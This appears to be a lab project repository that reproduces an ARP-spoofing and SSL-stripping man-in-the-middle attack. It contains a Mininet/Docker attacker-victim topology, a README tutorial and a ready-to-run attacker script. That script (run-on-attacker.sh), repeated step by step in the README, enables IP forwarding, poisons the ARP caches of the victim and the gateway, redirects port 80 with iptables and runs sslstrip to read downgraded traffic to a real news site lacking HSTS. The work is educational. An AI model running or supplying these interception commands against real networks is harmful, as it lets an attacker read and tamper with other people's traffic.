├── .gitignore ├── docker ├── Makefile └── Dockerfile ├── scripts ├── run-on-victim.sh ├── start-app.sh ├── start-attacker.sh ├── start-victim.sh └── run-on-attacker.sh ├── topology ├── install.sh └── topology.py └── README.md /.gitignore: -------------------------------------------------------------------------------- 1 | .DS_Store 2 | *.pcap 3 | -------------------------------------------------------------------------------- /docker/Makefile: -------------------------------------------------------------------------------- 1 | NAME = mitm/https 2 | 3 | .PHONY: build 4 | build: 5 | docker build -t "$(NAME)" . 6 | -------------------------------------------------------------------------------- /scripts/run-on-victim.sh: -------------------------------------------------------------------------------- 1 | #! /bin/bash 2 | 3 | curl -vvv http://digi24.ro 4 | curl -vvv http://www.digi24.ro 5 | -------------------------------------------------------------------------------- /scripts/start-app.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | sleep 2 3 | 4 | # bash infinite loop to prevent container from exiting 5 | while true; do sleep 100; done 6 | 7 | -------------------------------------------------------------------------------- /scripts/start-attacker.sh: -------------------------------------------------------------------------------- 1 | #/bin/bash 2 | 3 | DOCKER_ID=$(sudo docker ps -a | grep attacker | cut -d' ' -f1) 4 | sudo docker exec -it $DOCKER_ID /bin/bash 5 | -------------------------------------------------------------------------------- /scripts/start-victim.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | DOCKER_ID=$(sudo docker ps -a | grep victim | cut -d' ' -f1) 4 | sudo docker exec -it $DOCKER_ID /bin/bash 5 | -------------------------------------------------------------------------------- /docker/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM ubuntu:18.04 2 | 3 | RUN apt-get update && apt-get install -y \ 4 | iputils-ping net-tools iproute2 bash openssl wget unzip bsdmainutils ssh vim dsniff sslstrip iptables curl 5 | 6 | COPY start_app.sh . 7 | CMD ./start_app.sh 8 | -------------------------------------------------------------------------------- /scripts/run-on-attacker.sh: -------------------------------------------------------------------------------- 1 | #! /bin/bash 2 | 3 | tcpdump -i attacker-eth0 -w capture.pcap -Z root > /dev/null 2> /dev/null & 4 | echo 1 > /proc/sys/net/ipv4/ip_forward 5 | arpspoof \ 6 | -i attacker-eth0 \ 7 | -t 192.168.16.3 192.168.16.1 \ 8 | > /dev/null 2> /dev/null & 9 | arpspoof \ 10 | -i attacker-eth0 \ 11 | -t 192.168.16.1 192.168.16.3 \ 12 | > /dev/null 2> /dev/null & 13 | iptables \ 14 | -t nat \ 15 | -p tcp \ 16 | -A PREROUTING \ 17 | --destination-port 80 \ 18 | -j REDIRECT \ 19 | --to-port 8080 20 | sslstrip -l 8080 21 | -------------------------------------------------------------------------------- /topology/install.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | # upgrade system 4 | sudo apt-get update 5 | sudo apt-get -f -y upgrade 6 | sudo apt-get -f -y autoremove 7 | #sudo do-release-upgrade 8 | 9 | # some Ubuntu 18.04 tweaks 10 | systemctl disable ufw 11 | sudo systemctl disable systemd-resolved 12 | sudo systemctl stop systemd-resolved 13 | sudo echo "nameserver 8.8.8.8"> /etc/resolv.conf 14 | 15 | 16 | # https://containernet.github.io/#installation 17 | cd .. 18 | sudo apt-get install -f -y ansible git aptitude 19 | git clone https://github.com/containernet/containernet.git 20 | cd containernet/ansible 21 | sudo ansible-playbook -i "localhost," -c local install.yml 22 | cd .. 23 | sudo make develop 24 | 25 | make 26 | 27 | -------------------------------------------------------------------------------- /topology/topology.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python3 2 | 3 | from mininet.net import Mininet, Containernet 4 | from mininet.node import Host, OVSBridge, Node, Controller, Docker, UserSwitch, OVSSwitch 5 | from mininet.nodelib import NAT 6 | from mininet.cli import CLI 7 | from mininet.log import setLogLevel, info 8 | from mininet.link import Intf 9 | from subprocess import call 10 | import subprocess 11 | 12 | def myNetwork(): 13 | net = Containernet(controller=Controller) 14 | 15 | info( '*** Adding controller\n' ) 16 | net.addController(name='c0') 17 | 18 | info( '*** Add switches\n') 19 | s1 = net.addSwitch('s1', cls=OVSSwitch) 20 | 21 | info( '*** Add hosts\n') 22 | # attacker 2 docker containers 23 | mn_args = { 24 | "network_mode": "none", 25 | "dimage": "mitm/https", 26 | "dcmd": "./start_app.sh", 27 | "ip": "192.168.16.2/24", 28 | } 29 | H1 = net.addDocker('attacker', **mn_args) 30 | mn_args = { 31 | "network_mode": "none", 32 | "dimage": "mitm/https", 33 | "dcmd": "./start_app.sh", 34 | "ip": "192.168.16.3/24", 35 | } 36 | H2 = net.addDocker('victim', **mn_args) 37 | 38 | info( '*** Add links\n') 39 | net.addLink( H1, s1 ) 40 | net.addLink( H2, s1 ) 41 | 42 | info ('*** Add Internet access\n') 43 | mn_args = { 44 | "ip": "192.168.16.1/24", 45 | } 46 | nat = net.addHost( 'nat0', cls=NAT, inNamespace=False, subnet='192.168.16.0/24', **mn_args ) 47 | # Connect the nat to the switch 48 | net.addLink( nat, s1 ) 49 | 50 | info( '*** Starting network\n') 51 | net.start() 52 | H1.cmd('ip r a default via 192.168.16.1') 53 | H2.cmd('ip r a default via 192.168.16.1') 54 | 55 | CLI(net) 56 | net.stop() 57 | 58 | if __name__ == '__main__': 59 | setLogLevel( 'info' ) 60 | myNetwork() 61 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # MITM over TLS 2 | 3 | **Man-in-the-middle (MITM)** refers to an attack where an actor stands between 2 entities communicating with eachother and intercepts or even changes the information sent from one to another. When the traffic is not encrypted this attack can be done by doing an ARP spoofing and capturing the incoming traffic on the attacker's device. In the case of encrypted communication there is more into making the MITM attack possible. 4 | 5 | In the following sections I will explain how to capture readable data sent between the victim's device and a website running over HTTPS that should normally be encrypted. 6 | 7 | ## Topology 8 | 9 | In order to recreate this attack the following components were used: 10 | * a victim machine (Ubuntu 18.04 with `curl` installed) 11 | * a website (www.digi24.ro) that is using **HTTPS** 12 | * an attacker machine (Ubuntu 18.04 with `tcpdump`, `arpspoof`, `iptables` and `sslstrip` installed) 13 | 14 | The topology I created has the following details. The attacker and the victim both have Internet connection and are in the same network `192.168.16.0/24`: 15 | * default gateway `192.168.16.1/24` 16 | * attacker `192.168.16.2/24` 17 | * victim `192.168.16.3/24` 18 | 19 | > The website should be running on HTTPS, but should not have [**HSTS**](https://en.wikipedia.org/wiki/HTTP_Strict_Transport_Security). 20 | 21 | ## How it's done 22 | 23 | The end goal of this attack si to be able to intercept unencrypted data on the attacker's side. The data come from the communication between the victim and a vulnerable website using HTTP. It's vulnerability is that it is not using HSTS to prevent MITM attacks. The flow of the data will look as in the following image. 24 | 25 | ![enter image description here](https://scontent.fotp3-3.fna.fbcdn.net/v/t1.15752-9/56162869_565199757216898_7687985661634150400_n.png?_nc_cat=101&_nc_sid=b96e70&_nc_ohc=M1jRqWdq9xwAX_ZkELO&_nc_ht=scontent.fotp3-3.fna&oh=1049ba0ce6f2ac3a9d4a2643f58871e1&oe=5EE29D2E) 26 | 27 | ### Step 0 28 | 29 | I start by capturing traffic on the attacker machine. I need the interface on the attacker's machine for this. This is `attacker-eth0` (known from when the topology was created). To check: 30 | ```bash 31 | root@attacker:/# ifconfig 32 | attacker-eth0: flags=4163 mtu 1500 33 | inet 192.168.16.2 netmask 255.255.255.0 broadcast 0.0.0.0 34 | ether 2e:a2:48:8e:ec:4b txqueuelen 1000 (Ethernet) 35 | RX packets 14 bytes 1096 (1.0 KB) 36 | RX errors 0 dropped 0 overruns 0 frame 0 37 | TX packets 0 bytes 0 (0.0 B) 38 | TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0 39 | (..) 40 | root@attacker:/# tcpdump -i attacker-eth0 -Z root -w capture.pcap & 41 | [452] 42 | ``` 43 | 44 | The `capture.pcap` file will be analyzed at the end of the attack. 45 | 46 | ### Step 1 47 | 48 | The next thing that needs to be done is to set the ip forwarding for the attacking machine so that when it receives packets from the victim packets will be forwarded to the destination IP address labeled on the network layer of the packet. For this I simply wrote value `1` in the following file: 49 | 50 | ```bash 51 | root@attacker:/# echo 1 > /proc/sys/net/ipv4/ip_forward 52 | root@attacker:/# cat /proc/sys/net/ipv4/ip_forward 53 | 1 54 | ``` 55 | 56 | ### Step 2 57 | 58 | The next step is to link the attacker’s MAC address with the IP address of the victim's computer. Once the attacker’s MAC address is connected to that IP address, the attacker will begin receiving any data that is intended for the victim. This is the step where the attacker places itself between the victim and the website. 59 | 60 | To do this use I first need the IP addresses of the victim and the default gateway. These were specified when creating the topology, but in order to check I can use the following commands. 61 | 62 | ```bash 63 | root@victim:/# ifconfig 64 | (..) 65 | victim-eth0: flags=4163 mtu 1500 66 | inet 192.168.16.3 netmask 255.255.255.0 broadcast 0.0.0.0 67 | ether f6:b5:a9:73:f8:e1 txqueuelen 1000 (Ethernet) 68 | RX packets 14 bytes 1096 (1.0 KB) 69 | RX errors 0 dropped 0 overruns 0 frame 0 70 | TX packets 0 bytes 0 (0.0 B) 71 | TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0 72 | root@victim:/# ip r s 73 | default via 192.168.16.1 dev victim-eth0 74 | 192.168.16.0/24 dev victim-eth0 proto kernel scope link src 192.168.16.3 75 | ``` 76 | 77 | The victim's IP address is `192.168.16.3`, while the default gateway is `192.168.16.1`. 78 | 79 | Now the ARP spoofing can begin. I run `arpspoof` twice (so that I can capture both incoming and outgoing traffic). I do this on the attacker's machine. 80 | 81 | ```bash 82 | root@attacker:/# arpspoof -i attacker-eth0 -t 192.168.16.3 192.168.16.1 > /dev/null 2> /dev/null & 83 | [1] 59 84 | root@attacker:/# arpspoof -i attacker-eth0 -t 192.168.16.1 192.168.16.3 > /dev/null 2> /dev/null & 85 | [1] 60 86 | ``` 87 | 88 | Check on the victim's machine that the spoofing is taking place. The MAC addresses for both IPs should be the same. Since the attack takes place on layer 2 the interesting bits are the MAC addresses. 89 | 90 | ```bash 91 | root@victim:/# arp -a 92 | ? (192.168.16.1) at 2e:a2:48:8e:ec:4b [ether] on victim-eth0 93 | ? (192.168.16.2) at 2e:a2:48:8e:ec:4b [ether] on victim-eth0 94 | ``` 95 | 96 | Now the attacker sees all the communication between the victim and the Internet. Unfortunately, he still sees only encrypted traffic. I needed to do an HTTPS downgrade (or HTTPS stripping) so that on the attacker side I can see plain text traffic. 97 | 98 | 99 | ### Step 3 100 | 101 | In order to intercept unencrypted traffic I needed to downgrade the victim's connection from HTTPS to HTTP. I did this using `sslstrip`. First I redirecting outgoing traffic on port 80 to 8080 and then I started `sslstrip` on port `8080`. 102 | 103 | 104 | ```bash 105 | root@attacker:/# iptables -t nat -p tcp -A PREROUTING --destination-port 80 -j REDIRECT --to-port 8080 106 | root@attacker:/# sslstrip -l 8080 107 | 108 | sslstrip 0.9 by Moxie Marlinspike running... 109 | 110 | ``` 111 | 112 | On the victim machine I used `curl` to send a `GET` request to `http://digi24.ro`. 113 | 114 | ```bash 115 | root@victim:/# curl -vvv http://digi24.ro 116 | * Rebuilt URL to: http://digi24.ro/ 117 | * Trying 81.196.8.46... 118 | * TCP_NODELAY set 119 | * Connected to digi24.ro (81.196.8.46) port 80 (#0) 120 | > GET / HTTP/1.1 121 | > Host: digi24.ro 122 | > User-Agent: curl/7.58.0 123 | > Accept: */* 124 | > 125 | < HTTP/1.1 301 Moved Permanently 126 | < Content-Length: 162 127 | < Server: RDS-WebServer v2 128 | < Connection: close 129 | < Location: http://www.digi24.ro/ # The request was redirected to this. 130 | < Date: Fri, 15 May 2020 13:08:07 GMT 131 | < Content-Type: text/html 132 | < 133 | 134 | 301 Moved Permanently 135 | 136 |

301 Moved Permanently

137 |
nginx
138 | 139 | 140 | * Closing connection 0 141 | ``` 142 | 143 | The request was redirected to `http://www.digi24.ro/`. Another `GET` on this URL returns the page content unencrypted. The attack is now complete: I can view unecrypted traffic going between the victim and the vulnerable website using HTTPS. 144 | 145 | ```bash 146 | root@victim:/# curl -vvv http://www.digi24.ro/ 147 | (..) 148 | 149 | ``` 150 | 151 | ### Step 4 152 | 153 | I stopped the tcpdump process on the attacker and I opened the capture using Wireshark. After filterin packets by protocol (only HTTP) I found the following: 154 | 155 | ![enter image description here](https://scontent.fotp3-2.fna.fbcdn.net/v/t1.15752-9/s2048x2048/98279780_257285382296503_6574269155376103424_n.png?_nc_cat=106&_nc_sid=b96e70&_nc_ohc=J441EsDrXKUAX8T6FYF&_nc_ht=scontent.fotp3-2.fna&oh=81452735d759a9c62dbd954ba2977a7a&oe=5EE27E26) 156 | 157 | By following the HTTP stream here I was able to see the contents of the website the same way the victim does. 158 | 159 | ![enter image description here](https://scontent.fotp3-2.fna.fbcdn.net/v/t1.15752-9/s2048x2048/98367350_241217873641263_5746737680239034368_n.png?_nc_cat=105&_nc_sid=b96e70&_nc_ohc=5qwHL8uwFTIAX_Xz0IY&_nc_ht=scontent.fotp3-2.fna&oh=3e4e3d08207905910865171fb7db2ea6&oe=5EE5AAC5) 160 | 161 | ## Archive contents 162 | 163 | The archive contains the following: 164 | * ***MITM over TLS.pdf*** this file containing explanations on how the attack is done. 165 | * ***Dockerfile*** used to build docker images for both the victim and attacker (both of the machines have the exact same configuration). 166 | * ***Makefile*** that runs the `docker build` command. 167 | * ***capture.pcap*** is the capture containing the traffic generated during this attack. 168 | * ***topology.py*** script to start the Mininet topology used for this attack. 169 | * ***start-attacker.sh*** script used to connect to the attacker machine. 170 | * ***start-victim.sh*** script used to connect to the victim machine. 171 | * ***install.sh*** used to install Mininet (taken from the CDCI labs topology). 172 | * ***start-app.sh*** runs on docker to prevent the container from exiting (taken from the CDCI labs topology). 173 | * ***run-on-attacker.sh*** to run on the attacker machine. Does the ARP spoofing and SSL stripping. 174 | * ***run-on-victim.sh*** to run on the victim machine. Generates HTTPS traffic. 175 | 176 | 177 | 178 | --------------------------------------------------------------------------------